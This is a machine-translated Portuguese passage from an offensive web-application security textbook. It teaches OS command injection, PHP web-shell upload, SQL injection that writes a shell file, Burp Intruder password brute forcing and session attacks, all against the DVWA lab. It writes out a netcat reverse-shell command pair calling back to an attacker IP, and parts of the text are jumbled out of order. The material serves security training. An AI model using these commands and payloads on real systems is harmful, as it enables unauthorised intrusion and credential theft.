informação</p><p>dos quais você pode participar. Alguns de vocês podem querer educação formal, enquanto outros podem</p><p>querer saber quais certificações são especialmente aplicáveis a esse tipo de trabalho de segurança. Também</p><p>é fornecida uma lista rápida de bons livros a serem considerados.</p><p>Não ataque um alvo a menos que tenha permissão por escrito.</p><p>Muitas das ferramentas e técnicas discutidas neste livro são facilmente detectadas e rastreadas.</p><p>Se você fizer algo ilegal, poderá ser processado ou preso.</p><p>ouvinte em sua máquina executando o comando nc -l -v YourIPAddress -p 4444 e na</p><p>vítima injetando o comando nc -c /bin/sh YourIPAddress 4444 . Confira http://bernardodamele.blogspot.com/</p><p>2011/09/reverse-shells-one-liners.html para mais exemplos de comandos injetáveis que resultarão em shells se</p><p>conectando de volta a você!</p><p>Outro local onde essa vulnerabilidade às vezes está presente é quando um aplicativo cria um comando para</p><p>executar a fim de enviar e-mail em vez de usar bibliotecas SMTP. Essas vulnerabilidades surgem quando</p><p>endereços de e-mail não higienizados são passados para um aplicativo sendmail de linha de comando para criar</p><p>o comando. Um exemplo poderia ser mail -s “Confirmação de conta” josh@corndogcart.com. Você pode</p><p>anexar outros comandos do Linux ao endereço de e-mail fornecido para aproveitar a entrada do usuário sendo</p><p>processada diretamente pelo sistema operacional.</p><p>Agora você pode usar esta página vulnerável para executar os comandos apresentados anteriormente neste</p><p>capítulo para adicionar, editar e excluir usuários do sistema ou qualquer outro comando de nível de sistema que</p><p>você gostaria se fosse o usuário de nível superior. Caso contrário, execute comandos significativos no nível do</p><p>usuário, como visualizar o arquivo passwd ou recuperar o código do aplicativo, para procurar vulnerabilidades</p><p>adicionais que sejam mais fáceis de detectar com a revisão do código-fonte de caixa branca.</p><p>Uma variante aproximada da injeção de comando do sistema operacional é o conceito de web shell, que é uma</p><p>página criada com códigos maliciosos que, quando carregada em um servidor web, fornece um shell de comando</p><p>de volta ao aacker por meio de uma página da web. Web shells vêm em todos os formatos de arquivo suportados</p><p>por servidores web, como PHP, ASP, ASPX e todas as outras linguagens de programação web proeminentes.</p><p>Os shells da Web exigem que o hacker seja capaz de fazer upload do arquivo para o servidor da Web e, em</p><p>seguida, navegar até esse local em um navegador. Se a configuração do servidor web for vulnerável a isso, o</p><p>web shell fornece ao hacker a funcionalidade exata de uma vulnerabilidade de injeção de comando do sistema</p><p>operacional. Além disso, perceba que o servidor web também deve ser capaz de renderizar o arquivo enviado</p><p>para que esse aack funcione. Por exemplo, os servidores web Apache não podem renderizar páginas .ASPX,</p><p>portanto, certifique-se de enviar o formato de arquivo correto para este ataque.</p><p>Para DVWA, você pode baixar um shell da web PHP em http://sourceforge.net/projects/ajaxshell/ e salvá-lo</p><p>em seu diretório raiz como Shell_v0_7_prefinal_.zip. Basta descompactar a pasta usando o menu do botão direito</p><p>e o arquivo .php estará pronto para uso. Obviamente, você gostaria de alterar o nome do arquivo PHP para que</p><p>sua intenção fosse menos óbvia em um hack real. Para facilitar esse ataque, usaremos o exercício Upload em</p><p>DVWA que permite fazer upload de qualquer arquivo para o serviço web DVWA conforme mostrado na Figura</p><p>4.17.</p><p>Machine Translated by Google</p><p>mailto:josh%40corndogcart.com</p><p>Esta pesquisa revela que o arquivo web shell está localizado em três locais diferentes na máquina: no diretório</p><p>raiz para onde o baixamos originalmente, no diretório /var/ www/ hackable/ uploads no servidor web e em um</p><p>diretório temporário. Perceba que você precisaria executar o comando find por meio de um aack de injeção de</p><p>comando do sistema operacional para revelar onde o arquivo carregado reside no servidor da web. Nós</p><p>O upload bem-sucedido do web shell para o servidor web é o principal requisito deste aack, mas você ainda</p><p>deve ser capaz de navegar até esta página recém-carregada e nem sempre é óbvio para onde o aplicativo</p><p>carrega os arquivos no servidor web. Após a conclusão bem-sucedida do upload do arquivo, o aplicativo da web</p><p>forneceu a seguinte confirmação do local do arquivo: ../../hackable/ uploads/ Shell_v0_7.php carregado com</p><p>sucesso! No entanto, o aplicativo da web nem sempre fornece detalhes sobre o local exato no servidor da web</p><p>onde residem os arquivos carregados. Você pode usar o comando find / -name Shell_v0_7.php em um terminal</p><p>para encontrar todos os diretórios onde o web shell reside, conforme mostrado na Figura 4.18.</p><p>FIGURA 4.18 Encontrando o arquivo web shell no servidor web.</p><p>FIGURA 4.17 Fazendo upload de um web shell para o servidor web DVWA.</p><p>Machine Translated by Google</p><p>FIGURA 4.19 Revendo o “Readme” do web shell carregado.</p><p>Depois de navegar até esse local, você poderá fazer login no web shell com senha quando</p><p>solicitado a fornecer uma senha. Este web shell inclui vários comandos comumente usados que você</p><p>pode executar com os botões no canto superior esquerdo da tela. A Figura 4.19 mostra a saída do</p><p>comando shellhelp quando o botão Leiame é clicado.</p><p>Todos os comandos que você solicita nesta página são enviados ao servidor web para execução do sistema e</p><p>os resultados são renderizados diretamente nesta página! Outro exemplo de comandos rápidos é clicar no botão</p><p>portas abertas para que netstat -an | Comando grep -i listen executado no servidor web, conforme mostrado na</p><p>Figura 4.20, para listar todas as conexões de escuta ativas na máquina.</p><p>Outras funcionalidades do aplicativo da web também podem fornecer dicas sobre onde os arquivos</p><p>enviados estão armazenados. Por exemplo, se você tiver permissão para fazer upload de um avatar,</p><p>poderá verificar de onde essa imagem está sendo veiculada. Você pode então fazer upload de um</p><p>arquivo .php e tentar acessá-lo como deveria estar no mesmo diretório da imagem do seu avatar.</p><p>podemos ter certeza de que o DVWA está sendo executado no diretório www , então agora sabemos</p><p>que http://127.0.0.1/hackable/uploads/Shell_v0_7.php é o URL exato que precisamos navegar para</p><p>acessar o shell da web carregado.</p><p>Machine Translated by Google</p><p>As injeções de comandos do sistema operacional e os web shells são muito poderosos para os</p><p>hackers porque permitem que os comandos do sistema sejam executados por meio de uma página</p><p>da web. As solicitações maliciosas dessas páginas não serão diferentes das solicitações benignas</p><p>da web, por isso são difíceis de detectar. Há também um jogo contínuo de gato e rato entre</p><p>profissionais de segurança e hackers para ver como a funcionalidade de upload em aplicativos da web pode ser</p><p>Você pode fornecer seus próprios comandos clicando no link Executar comando na parte superior</p><p>da tela e um histórico de execução será mantido na janela Histórico de comandos . Este histórico de</p><p>comandos é lido na barra superior, onde o comando mais recente estará no topo da lista. A Figura</p><p>4.21 mostra comandos separados para criar um diretório cabras e um arquivo bah.txt dentro desse</p><p>diretório, tudo por meio deste web shell!</p><p>FIGURA 4.21 Execução de comandos personalizados no servidor web DVWA por meio do web shell.</p><p>FIGURA 4.20 Resultados netstat para nosso servidor web DVWA.</p><p>Machine Translated by Google</p><p>'/var/www/hackable/uploads/cmd.php'#</p><p>Rel1k' UNION SELECT '', null INTO OUTFILE</p><p>como:</p><p>Você pode então interagir com esse web shell (executando o comando ls neste exemplo) solicitando o seguinte</p><p>URL: http://127.0.0.1/hackable/uploads/cmd.php?cmd=ls. Agora você pode executar qualquer comando do</p><p>sistema operacional alterando o valor do parâmetro URL cmd !</p><p>Você pode até obter um shell de comando primitivo em sistemas que não podem ser explorados com esse</p><p>shell da web carregado, pegando carona em uma vulnerabilidade de injeção de SQL com entradas como</p><p>contornado para permitir que web shells sejam carregados e acessados no servidor web.Machine Translated by Google</p><p>Autenticação e passagem de caminho</p><p>Exploração de aplicativos da Web com problemas</p><p>CAPÍTULO 5</p><p>Machine Translated by Google</p><p>A autenticação nos permite fazer login em um aplicativo da web para que tenhamos uma experiência de</p><p>navegação personalizada, enquanto o gerenciamento de sessões rastreia as solicitações e respostas para que</p><p>possamos realizar ações em várias etapas, como compras e pagamento de contas. Na verdade, são duas</p><p>ervilhas numa vagem. Nem a autenticação nem o gerenciamento de sessões foram considerados quando o</p><p>protocolo HTTP foi inventado, pois é um protocolo sem estado. Portanto, usar esses dois recursos à medida</p><p>que a Internet amadureceu revelou-se uma situação muito difícil.</p><p>Os ataques de travessia de caminho ocorrem quando os hackers podem percorrer a estrutura de diretórios</p><p>do servidor web. Isso é mais comum quando os aplicativos da web permitem a funcionalidade de upload e o</p><p>usuário (aacker) cria um valor de entrada malicioso que é processado pelo aplicativo da web e permite acesso</p><p>a diretórios confidenciais no servidor da web.</p><p>Infelizmente, a autenticação e o gerenciamento de sessões apresentam vulnerabilidades em muitos</p><p>aplicativos da web. As ferramentas e técnicas utilizadas para explorar cada uma diferem ligeiramente, mas</p><p>devido à estreita relação entre autenticação e gerenciamento de sessão, faz todo o sentido investigá-las em</p><p>conjunto.</p><p>ÿ Por que as vulnerabilidades de autenticação e de sessão são tão difundidas ÿ</p><p>Usando o Burp Intruder para ataques de autenticação de força bruta ÿ</p><p>Por que os ataques de sessão são tão difíceis: a quebra de cookies não é uma boa ideia</p><p>ÿ Pilhar o sistema de arquivos do servidor web com ataques de passagem de caminho</p><p>Veremos os diretórios que costumam ser atacados no Windows e no Linux</p><p>ambientes e como esses ataques realmente ocorrem!</p><p>A Internet de hoje foi distorcida e distorcida para usar autenticação e gerenciamento de sessão, essencialmente</p><p>quebrando ambos. O aack de autenticação mais comum usa uma ferramenta de aack baseada em proxy (Burp</p><p>Suite's I ntruder, por exemplo) para forçar brutamente as credenciais de login de um usuário legítimo. Não há muita</p><p>discrição nesse tipo de ataque, mas é muito bem-sucedido porque os usuários continuam escolhendo senhas</p><p>fracas. Usaremos o Burp I ntruder como nossa ferramenta preferida, juntamente com uma lista das senhas fracas</p><p>mais comumente usadas. Existem vários aspectos de autenticação em toda a aplicação web que precisam ser</p><p>considerados para esses ataques, tais como: ÿ Login do aplicativo ÿ Alteração de senha ÿ Perguntas secretas ÿ</p><p>Nomes de usuário previsíveis ÿ Senha inicial previsível ÿ Senhas</p><p>que nunca expiram Ao</p><p>longo deste capítulo, o</p><p>termo “ cookie” será</p><p>usado para significar “cookie</p><p>de sessão” ou “identificador de</p><p>sessão”. Os ataques de gerenciamento</p><p>de sessão só são possíveis em dois sabores: (1)</p><p>Introdução</p><p>Resumo do capítulo:</p><p>Vulnerabilidades de autenticação e sessão</p><p>Machine Translated by Google</p><p>Ataques de autenticação de força bruta</p><p>Vulnerabilidades de passagem de caminho</p><p>Na verdade, a autenticação ocorre em muitas outras partes do aplicativo da web além da página de login principal.</p><p>Também está presente quando você altera sua senha, atualiza as informações da sua conta, usa a funcionalidade</p><p>de recuperação de senha, responde a perguntas secretas e quando usa a opção lembrar de mim . Se algum</p><p>destes processos de autenticação apresentar falhas, a segurança de todos os outros mecanismos de autenticação</p><p>poderá ser comprometida. O que é assustador sobre as vulnerabilidades de autenticação é que elas podem abrir</p><p>a porta para que todas as outras contas sejam comprometidas. Imagino a carnificina quando a conta de um</p><p>administrador é comprometida devido a uma autenticação deficiente!</p><p>Usaremos o exercício de força bruta em DVWA como guia para concluir um ataque de autenticação de força</p><p>bruta online. É uma página de autenticação baseada em formulário HTML; assim como mais de 90% dos</p><p>aplicativos da web usam. Apesar dos esforços contínuos para incluir fatores adicionais no processo de</p><p>autenticação, como CAPTCHA e perguntas desafiadoras, o nome de usuário e a senha tradicionais ainda são o</p><p>mecanismo de autenticação mais popular.</p><p>Quando um servidor web é instalado e configurado, o aplicativo web recebe uma fatia do sistema de arquivos no</p><p>servidor web onde o aplicativo tem permissão para residir. Esses diretórios permitidos geralmente são algumas</p><p>pastas no sistema de arquivos da web. servidor e inclui 100% do que a aplicação web precisa para executar em</p><p>circunstâncias normais: o código, as imagens, o banco de dados, as folhas de estilo e tudo mais que a aplicação</p><p>possa precisar. O aplicativo nunca deve tentar acessar recursos que estejam fora dos diretórios prescritos porque</p><p>os outros recursos no servidor web não são aplicáveis ao escopo do aplicativo. A capacidade de um hacker sair</p><p>deste mundo confinado e acessar recursos no servidor web que não deveria é o conceito central dos ataques de</p><p>passagem de caminho.</p><p>avaliar a intensidade com que o identificador de sessão é gerado (medindo a entropia) e (2) verificar como o</p><p>cookie é usado e manipulado pela aplicação web. Descobrir como um cookie é gerado é muito difícil porque a</p><p>maioria das estruturas de gerenciamento de sessão agrupadas com servidores web são capazes de criar cookies</p><p>que são muito difíceis de adivinhar, mesmo quando um hacker tem muito poder de processamento para gerar</p><p>milhares de cookies em pouco tempo. Um ataque muito mais aplicável é investigar como o aplicativo usa o cookie.</p><p>Este tipo de ataque não requer a compreensão de como um cookie foi gerado, mas concentra-se em acessar e</p><p>usar o cookie de maneira nefasta. Um hacker terá prazer em roubar e usar um cookie gerado com segurança!</p><p>Esse ataque é muito diferente da quebra de hash de senha offline que concluímos com João, o Estripador.</p><p>Agora interagiremos diretamente com a aplicação web e banco de dados que processam os parâmetros de nome</p><p>de usuário e senha durante a autenticação. O hacking de autenticação de força bruta online é muito mais lento do</p><p>que o cracking de hash de senha offline porque estamos fazendo solicitações repetidas ao aplicativo e</p><p>Machine Translated by Google</p><p>FIGURA 5.2 Parâmetros de autenticação interceptados em DVWA.</p><p>FIGURA 5.1 Tentativa inicial de login a ser capturada pelo Burp Intercept.</p><p>Depois de enviar esta tentativa de login com o botão Login , você poderá ver os parâmetros na</p><p>guia Params no Burp I ntercept que são usados durante uma tentativa de autenticação, conforme</p><p>mostrado na Figura 5.2.</p><p>Estamos preocupados apenas com os parâmetros de nome de usuário e senha deste ataque; os</p><p>outros três ficarão sozinhos. Lembre-se de que esperamos que esta tentativa de login falhe. Nosso</p><p>único objetivo agora é obter uma tentativa de autenticação válida em nosso histórico de proxy, então</p><p>Interceptando a tentativa de autenticação Navegue até o</p><p>exercício de força bruta no DVWA e certifique-se de que o Burp esteja configurado como proxy em</p><p>seu navegador. Queremos interceptar uma tentativa de login que enviamos ao aplicativo, portanto,</p><p>certifique-se de que Burp I ntercept esteja ativado. Não estamos tentando adivinhar o nome de</p><p>usuário e a senha manualmente neste formulário HTML, mas esta etapa é apenas preparar a</p><p>bomba para entendermos quais parâmetros são enviados ao aplicativo durante uma tentativa normal</p><p>de autenticação. Não faz absolutamente nenhuma diferença o que fornecemos para nome de</p><p>usuário e senha. Digitei corndogs como nome de usuário e sureareyummy como senha, conforme</p><p>mostrado na Figura 5.1.</p><p>deve esperar que ele gere uma resposta e enviá-la de volta.Machine Translated by Google</p><p>FIGURA 5.3 Tentativa de autenticação recuperada do histórico do proxy do Burp Intercept.</p><p>Se você estiver sobrecarregado com a grande quantidade de solicitações nesta visualização do</p><p>histórico, é útil procurar solicitações que tenham parâmetros (procure a caixa de seleção marcada na</p><p>coluna Params ), bem como ordenar as solicitações por data/hora. Você pode ver o nome de usuário</p><p>e a senha que enviou na visualização de parâmetros na parte inferior da tela.</p><p>Configurando o Burp Intruder Agora você</p><p>pode usar esta solicitação como seu esqueleto para tentar explorar esta página de autenticação com</p><p>diferentes nomes de usuário e senhas. Para fazer isso, basta clicar com o botão direito na solicitação</p><p>e selecionar enviar ao intruso conforme mostrado na Figura 5.4.</p><p>Um recurso de um proxy da web que muitas vezes é esquecido é que ele cataloga cada solicitação</p><p>e ciclo de resposta que passa por ele. Você pode então voltar e inspecionar (e reutilizar) qualquer</p><p>solicitação que já tenha feito. É exatamente por isso que você preparou a bomba com a tentativa de</p><p>autenticação segura. Certamente iria falhar, mas você precisava de uma solicitação que tivesse tudo</p><p>correto, exceto o nome de usuário e a senha! Você pode revisar todas as solicitações feitas na guia</p><p>histórico da ferramenta Proxy do Burp. Você está procurando especificamente pela tentativa de</p><p>autenticação que acabou de fazer com o nome de usuário corndogs e a combinação de senha</p><p>sureareyummy , conforme mostrado na Figura 5.3.</p><p>pode alterar os valores dos parâmetros para explorar o processo de autenticação fraco. Agora você</p><p>pode encaminhar essa solicitação para o aplicativo, bem como as respostas subsequentes, até receber</p><p>a mensagem Nome de usuário e/ ou senha incorretos na página.</p><p>Machine Translated by Google</p><p>Esses cinco parâmetros devem parecer muito familiares, pois são exatamente os mesmos</p><p>parâmetros que você viu na solicitação interceptada. Você está preocupado apenas com os</p><p>parâmetros de nome de usuário e senha e os outros três podem ser deixados de lado. Para que o</p><p>Intruder ignore esses três parâmetros benignos, você precisa limpar os marcadores de carga útil (as</p><p>marcações onduladas antes e depois de cada valor de parâmetro), destacando-os e</p><p>Burp Intruder é uma ferramenta para automatizar ataques personalizados contra aplicativos da</p><p>web, mas não é apenas uma ferramenta de apontar e clicar. Você precisa configurar o Intruder para</p><p>atacar apenas os parâmetros que você escolher e com as cargas exatas que você selecionar. Na</p><p>guia Posições do Intruder, você pode ver que há cinco parâmetros destacados automaticamente que</p><p>você pode querer aplicar força bruta, conforme mostrado na Figura 5.5.</p><p>FIGURA 5.5 Parâmetros identificados automaticamente no Burp Intruder.</p><p>FIGURA 5.4 Enviando a tentativa de autenticação para o Intruder.</p><p>Machine Translated by Google</p><p>3. Pitchfork: Este ataque usa vários conjuntos de carga útil para cada parâmetro marcado e</p><p>itera por todos os conjuntos de carga simultaneamente. Isso é mais aplicável quando um ataque</p><p>exige que valores relacionados sejam usados em vários parâmetros na solicitação, como um</p><p>parâmetro user_ID e o parâmetro first_name correspondente . Um ataque pitchfork avançará</p><p>cada uma dessas cargas em paralelo para que os primeiros valores de cada carga sejam</p><p>executados, seguidos pelo segundo valor de cada carga e assim por diante.</p><p>4. Cluster Bomb: Este ataque usa vários conjuntos de carga útil, mas um conjunto de carga útil</p><p>diferente para cada parâmetro marcado e itera através de cada conjunto de carga útil para garantir</p><p>que todas as combinações possíveis sejam usadas. Este ataque é mais aplicável quando um</p><p>ataque requer entrada diferente a ser usada em vários locais da solicitação, como nome de</p><p>usuário e senha. O ataque de bomba coletiva bloqueará a primeira carga útil (nome de</p><p>usuário, por exemplo) e iterará todas as senhas com esse primeiro nome de usuário.</p><p>Depois que todos os valores de senha tiverem sido tentados para o primeiro nome de usuário, o nome de</p><p>usuário será alterado para o segundo nome de usuário e toda a lista de senhas será usada com esse</p><p>segundo nome de usuário.</p><p>1. Sniper: Este ataque usa um único conjunto de cargas úteis e tem como alvo cada posição antes</p><p>de passar para o próximo valor. Isso é mais aplicável ao detectar vulnerabilidades, como</p><p>cross-site scripting (XSS).</p><p>2. Aríete: Este ataque também usa um único conjunto de cargas úteis, mas insere a mesma carga</p><p>em todos os parâmetros marcados de uma só vez. Isso é mais aplicável quando um ataque</p><p>exige que a mesma entrada seja inserida em vários locais, como nome de usuário no</p><p>cabeçalho do cookie e no corpo da mensagem simultaneamente.</p><p>Cargas úteis de intrusão</p><p>Você também precisa considerar o tipo de ataque que desejamos conduzir. O Intruder possui quatro tipos</p><p>de ataque diferentes que você pode selecionar no menu suspenso.</p><p>clicando no botão limpar . Depois de fazer isso com sucesso, você terá apenas duas posições marcadas:</p><p>nome de usuário e senha.</p><p>Existem muitas opções para a carga útil do nome de usuário, mas talvez a mais útil seja o arquivo de</p><p>tempo de execução que pode ser alimentado no Intruder durante o ataque. Esse arquivo é um ótimo lugar</p><p>para armazenar nomes de usuário coletados durante as etapas de reconhecimento anteriores. Já</p><p>conhecemos os cinco usuários válidos para DVWA, então é uma tarefa fácil iniciar o gedit, criar um arquivo</p><p>de texto cheio de usuários válidos e salvá-lo como</p><p>dvwa_users.txt no diretório raiz que podemos usar no Intruder como</p><p>Obviamente você usará o tipo de aack de bomba coletiva para o hack de autenticação, mas saber</p><p>quando usar cada um desses tipos de aack é uma ótima arma em seu arsenal. O menu Ajuda do Burp</p><p>Suite contém documentação adicional sobre esses tipos de ataque, se desejar mais explicações. Depois</p><p>de selecionar Cluster bomb no menu suspenso, você pode selecionar a guia Payloads no Intruder. Uma</p><p>carga útil são os valores a serem iterados durante a força bruta. Você tem duas posições disponíveis para</p><p>enviar cargas: o nome de usuário e a senha. O menu suspenso Conjunto de carga útil no Intruder indica</p><p>qual parâmetro você está almejando e eles são processados na mesma ordem em que aparecem na guia</p><p>de posições , portanto, o nome de usuário é exibido primeiro.</p><p>Machine Translated by Google</p><p>FIGURA 5.6 Criando o arquivo dvwa_users.txt a ser usado pelo Burp Intruder.</p><p>FIGURA 5.7 Selecionando o arquivo de tempo de execução a ser usado pelo Intruder.</p><p>comando para garantir que o arquivo de texto esteja em seu diretório raiz. Se tudo correr como pretendido,</p><p>pode</p><p>Usaremos uma lista de senhas prontamente disponível como arquivo de tempo de execução para o</p><p>tanto o arquivo de nome de usuário (dvwa_users.txt) quanto o arquivo de senha (500-worst-passwords.txt)</p><p>como</p><p>parâmetro de senha. É a lista das 500 piores senhas da equipe da Skull Security</p><p>estarão disponíveis como arquivos de texto em seu diretório raiz .</p><p>que pode ser baixado um .bz2 de</p><p>Com essas listas prontas e os marcadores de carga definidos no Intruder, a única tarefa restante</p><p>http://www.skullsecurity.org/wiki/index.php/Passwords. Salve este arquivo na sua raiz</p><p>antes de tentar esta exploração é atribuir cada arquivo de texto como um arquivo de tempo de execução. Como mostrado em</p><p>diretório e, em seguida, abra um terminal e execute o seguinte comando para extraí-lo para um texto</p><p>Na Figura 5.7, há uma seção “Opções de carga útil (arquivo de tempo de execução)” onde você pode navegar</p><p>arquivo.</p><p>seu disco rígido local para selecionar seu arquivo de texto para cada carga útil. Lembre-se que a posição 1 é para</p><p>dvwa_users.txt e a posição 2 é para 500 piores senhas.txt.</p><p>mostrado na Figura 5.6.</p><p>Depois de baixar e descompactar esta lista de senhas com sucesso, execute um ls</p><p>arquivo</p><p>bunzip2 500 piores senhas.txt.bz2</p><p>Machine Translated by Google</p><p>http://www.skullsecurity.org/wiki/index.php/Passwords</p><p>FIGURA 5.8 Logins de força bruta bem-sucedidos via Intruder.</p><p>Um alerta</p><p>Se já se passaram alguns minutos desde sua última atividade no DVWA, você pode ter sido desconectado.</p><p>Se você estiver desconectado, o aack ainda será executado, mas todas as tentativas de exploração</p><p>falharão porque você não será autenticado no aplicativo DVWA para fazer solicitações à página de</p><p>exercícios de força bruta . Portanto, certifique-se de ter uma sessão DVWA atual antes de iniciar o ataque.</p><p>Aqui estão alguns dos ataques de sessão mais populares que estão sendo usados atualmente por hackers para explorar</p><p>vulnerabilidades de sessão. ÿ Sequestro de sessão:</p><p>ocorre quando o identificador de sessão de um usuário é roubado e usado pelo</p><p>Você também pode incluir termos de string personalizados para pesquisar, para que seja mais fácil identificar um login</p><p>bem-sucedido na guia de opções do Intruder. Talvez você queira pesquisar o termo Bem-vindo! como uma string conhecida</p><p>quando a autenticação for bem-sucedida. Apenas certifique-se de conhecer uma string real que será exibida com uma</p><p>tentativa de autenticação válida, caso contrário, não retornará nenhum resultado.</p><p>Executando o Intruder Você</p><p>pode executar esta exploração selecionando start aack no menu do Intruder. Burp I ntruder irá alertá-lo de que a versão</p><p>gratuita é acelerada para um ataque mais lento, então você precisará clicar neste prompt. Como você provavelmente está</p><p>usando a versão gratuita do Burp Suite, esse ataque levará aproximadamente 30 a 40 minutos para ser concluído devido</p><p>às quase 2.500 solicitações com um atraso de 1 s entre cada solicitação executada em apenas um thread. A versão pro,</p><p>no entanto, irá superar esse ataque muito rapidamente! A grande maioria de suas tentativas de autenticação falhará, mas</p><p>é fácil identificar as poucas solicitações com comprimento diferente como logins bem-sucedidos ao classificar por</p><p>comprimento de resposta, conforme mostrado na Figura 5.8.</p><p>invasor assuma a identidade do usuário. O roubo do identificador de sessão pode ser executado de diversas</p><p>maneiras, mas o XSS é o mais comum. Vamos olhar mais longe</p><p>Ataques de sessão</p><p>Machine Translated by Google</p><p>Sequenciador de arrotos</p><p>Houve um tempo em que os identificadores de sessão eram criados usando algoritmos fracos, mas esses dias</p><p>já se foram. A menos que um administrador da web perca totalmente o barco ao configurar o ambiente do</p><p>aplicativo ou alguém decida lançar seu próprio algoritmo de criação de sessão (sempre uma péssima idéia), há</p><p>pouca esperança de atacar o algoritmo que gera identificadores de sessão. É matematicamente possível?</p><p>Absolutamente! É um bom uso do seu tempo e recursos? Nem em um milhão de anos (que é o tempo que algumas</p><p>rachaduras levarão)!</p><p>Você pode testar a intensidade com que os identificadores de sessão são gerados usando Burp Sequencer,</p><p>Quebrando cookies Uma das</p><p>primeiras atividades que os novos pesquisadores de segurança sempre tentam é quebrar algoritmos geradores</p><p>de sessão, para que possam prever identificadores de sessão. Fui até supervisor do corpo docente dessa</p><p>aventura! Minha equipe criou um aplicativo que fazia login em outro aplicativo, arquivava o cookie atribuído,</p><p>desconectava-se do aplicativo e repetia esse ciclo milhões de vezes. Depois de reunirmos mais de um milhão de</p><p>identificadores de sessão, exploramos o banco de dados em busca de qualquer instância de cookies duplicados.</p><p>Nenhum foi encontrado. Em seguida, voltamos nossa atenção para tentar quebrar o algoritmo que criou esses</p><p>cookies. Sem dados. Calculamos que levaria centenas de anos antes de comprometer o algoritmo. Se você acha</p><p>que atacar esses algoritmos é o caminho de menor resistência ao comprometimento de aplicativos da web, você</p><p>está fazendo isso errado.</p><p>em XSS em um capítulo posterior.</p><p>ÿ Fixação de sessão: ocorre quando um invasor recebe um identificador de sessão válido pelo aplicativo e,</p><p>em seguida, alimenta essa sessão para um usuário desconhecido. Isso geralmente é feito com uma URL</p><p>da web na qual o usuário deve clicar no link. Depois que o usuário clicar no link e entrar no aplicativo, o</p><p>invasor poderá usar o mesmo identificador de sessão para assumir a identidade do usuário. Este</p><p>ataque também ocorre quando o servidor web aceita qualquer sessão de um usuário (ou invasor) e não</p><p>atribui uma nova sessão na autenticação. Nesse caso, o invasor usará sua própria sessão pré-</p><p>escolhida para enviar à vítima. Esses ataques funcionam porque o identificador de sessão</p><p>pode ser reutilizado</p><p>(ou reproduzido) em múltiplas sessões. ÿ Doação de sessão: é muito semelhante à fixação de sessão, mas</p><p>em vez de assumir a identidade do usuário, o invasor</p><p>fornecerá o identificador da sessão do invasor ao usuário, na esperança de que ele conclua uma ação sem</p><p>saber. O exemplo clássico é fornecer ao usuário um identificador de sessão válido vinculado à página</p><p>de perfil do invasor que não contém nenhuma informação preenchida. Quando o usuário preenche o</p><p>formulário (com senha, informações de cartão de crédito e outras informações), as informações são,</p><p>na verdade, vinculadas à conta do invasor. ÿ ID da sessão no URL: ocorre quando os identificadores de</p><p>sessão são passados como parâmetros de URL durante o ciclo de solicitação e resposta. Se esta</p><p>funcionalidade estiver presente, um invasor</p><p>pode fornecer tal URL ao usuário para conduzir qualquer um dos ataques descritos acima.</p><p>Machine Translated by Google</p><p>O sequenciador identificará automaticamente os identificadores de sessão da maioria dos ambientes</p><p>web de estoque.</p><p>4. Defina as opções desejadas no Sequencer, como contagem de threads e velocidade de solicitação, para</p><p>determinar a velocidade na qual os identificadores de sessão serão coletados. Lembre-se de que é</p><p>fundamental que você obtenha os identificadores de sessão o mais rápido possível, sem perder sessões</p><p>para outros usuários. Se você conseguir um grande fluxo consecutivo de identificadores de sessão, seu teste</p><p>será mais preciso.</p><p>5. Clique no botão Iniciar captura . Você pode revisar os resultados assim que o Sequencer tiver emitido 100</p><p>identificadores de sessão. O padrão FIPS exige que 20.000 identificadores de sessão sejam confiáveis.</p><p>6. Revise os resultados dos testes nos gráficos gerados.</p><p>2. Use o menu do botão direito nesta solicitação para enviar ao sequenciador.</p><p>3. Identifique o identificador de sessão no Sequencer se ele não for identificado automaticamente.</p><p>Este identificador de sessão é o que queremos testar e analisar com o Sequencer.</p><p>que testa a aleatoriedade em valores de sessão onde a segurança do aplicativo depende da imprevisibilidade desses</p><p>identificadores de sessão aleatórios. É uma ferramenta muito útil que realiza análises extensas nos IDs de sessão</p><p>coletados e exibe os resultados em gráficos e tabelas fáceis de entender. O Burp Sequencer testa uma hipótese (“o</p><p>identificador de sessão é gerado aleatoriamente”) em relação a uma coleção de identificadores de sessão coletados para</p><p>calcular a probabilidade de aleatoriedade real. Esta é uma conversa sofisticada porque “verifica se o cookie de sessão é</p><p>realmente aleatório em comparação com toneladas de outros cookies de sessão”. Se esta probabilidade cair abaixo do</p><p>nível de significância, o identificador da sessão é categorizado como não aleatório. Por padrão, o Sequencer usa o padrão</p><p>FI PS de 0,0002–0,03% para significância, mas você pode ajustar essa medida para seus próprios usos. FI PS são os</p><p>Padrões Federais de Processamento de Informações usados em todo o governo para segurança e interoperabilidade de</p><p>sistemas de computadores federais. As etapas para conduzir um teste e análise do Sequenciador são muito fáceis de</p><p>executar: 1. Encontre uma solicitação em seu histórico de proxy que tenha um identificador de sessão em sua resposta.</p><p>Aqui está uma captura de tela identificando o identificador da sessão logo após enviar a solicitação ao Sequencer.</p><p>Esta é uma captura de tela de Daf conduzindo esta análise no site de notícias da BBC, e não em nós, usando DVWA.</p><p>Observe as opções de início e término do token no lado direito da tela que identificam o parâmetro exato que você</p><p>gostaria de testar, conforme mostrado na Figura 5.9.</p><p>Machine Translated by Google</p><p>Os resultados do teste do sequenciador podem ser visualizados de uma perspectiva de nível de</p><p>significância geral e de nível de bit. Aqui estão os resultados para vários níveis de significância,</p><p>onde se descobre que há mais de 170 bits de entropia para o nível de significância de 0,001%</p><p>(barra de crescimento no gráfico). A entropia é uma medida de imprevisibilidade. Portanto, quanto</p><p>maior a entropia nos identificadores de sessão, mais confiantes estaremos de que eles são</p><p>gerados aleatoriamente, conforme mostrado na Figura 5.10.</p><p>FIGURA 5.9 Identificando o identificador de sessão no Burp Sequencer.</p><p>Machine Translated by Google</p><p>Se você exigir conformidade com FI PS, os resultados em nível de bit serão especialmente aplicáveis</p><p>porque você poderá percorrer diversas guias na parte superior do gráfico que fornecem vários resultados</p><p>de teste FIPS diferentes, conforme mostrado na Figura 5.11.</p><p>FIGURA 5.10 Resultados de entropia para testes de sequenciador.</p><p>Machine Translated by Google</p><p>Todos os ataques viáveis contra identificadores de sessão giram em torno do conceito de reutilização de um cookie. Não importa para</p><p>quem o cookie foi emitido, como o hacker o roubou ou como o hacker planeja reutilizá-lo. A única questão é que o aplicativo funciona</p><p>perfeitamente com cookies antigos sendo usados mais de uma vez. É simples assim. Você pode realizar uma série de testes em qualquer</p><p>aplicativo depois de receber um identificador de sessão válido para verificar se ele é vulnerável à reutilização de cookies.</p><p>O sequenciador é uma ótima ferramenta para testar rapidamente a aleatoriedade da geração do</p><p>identificador de sessão. É muito raro encontrar problemas com identificadores de sessão, mesmo</p><p>quando você reúne 